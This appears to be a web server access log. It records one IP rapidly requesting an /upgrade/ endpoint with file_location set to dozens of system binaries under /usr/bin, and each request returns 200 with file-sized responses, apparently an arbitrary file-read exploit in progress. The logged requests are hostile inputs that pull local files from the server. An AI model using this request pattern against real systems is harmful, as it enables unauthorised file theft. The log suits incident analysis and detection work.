45.135.193.11 - - [11/Sep/2026:22:44:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpl2pm&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98276 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpl2pm&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fexiv2&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 181447 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fexiv2&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffactor&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 133240 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffactor&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-validate&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100833 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-validate&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdpkg-statoverride&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 117674 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdpkg-statoverride&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fenvml&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97769 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fenvml&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgcc-ranlib&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106831 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgcc-ranlib&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fkmod&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 175845 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fkmod&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-neigh-add&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100482 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-neigh-add&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstrip&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 181216 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstrip&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftclsh8.6&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99355 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftclsh8.6&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzone2sql&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 615095 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzone2sql&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fauthselect&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 112212 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fauthselect&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-class-list&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100010 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-class-list&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwsrep_sst_backup&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97165 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwsrep_sst_backup&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fc99&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95839 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fc99&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpgparsemail&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108067 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpgparsemail&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-mknetdir&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 292971 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-mknetdir&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-embedded&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 7712302 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-embedded&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnslookup&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 144072 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnslookup&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-plugin&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 890320 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-plugin&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_rtpg&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101942 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_rtpg&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fconfig_data&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99147 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fconfig_data&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fconjure&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99072 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fconjure&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fflock&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103678 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fflock&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fjson_pp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97903 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fjson_pp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgfilter&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107324 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgfilter&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqldump&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1037292 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqldump&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi_satl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97580 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi_satl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fssltap&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 125281 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fssltap&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fjobs&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95822 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fjobs&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flwp-mirror&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97132 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flwp-mirror&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxzfgrep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98818 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxzfgrep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffio-verify-state&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101883 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffio-verify-state&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadbd-safe&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108310 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadbd-safe&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnano&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 272775 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnano&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnf-log&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100697 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnf-log&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsha1sum&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 112245 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsha1sum&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcvtsudoers&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 260109 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcvtsudoers&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffio_generate_plots&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97871 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffio_generate_plots&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgarb-systemd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96417 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgarb-systemd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpf2afm&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96027 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpf2afm&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frpmquery&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102665 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frpmquery&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftar&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 358578 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftar&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fawk&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 455419 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fawk&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdebuginfo-install&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97682 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdebuginfo-install&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-query&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99919 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-query&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffiologparser_hist.py&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104439 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffiologparser_hist.py&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgcov-dump&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 239161 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgcov-dump&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgr2fonttest&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107371 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgr2fonttest&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgroff&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 132289 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgroff&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpftp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 141224 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpftp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpg2&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 652562 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpg2&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhb-ot-shape-closure&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110138 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhb-ot-shape-closure&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flocaledef&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 231823 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flocaledef&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-class-delete&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100831 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-class-delete&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscl_enabled&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95828 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscl_enabled&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi_temperature&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96260 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi_temperature&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsemodule_expand&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100742 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsemodule_expand&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_sat_read_gplog&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102735 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_sat_read_gplog&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:45:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-slap&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1002878 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-slap&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
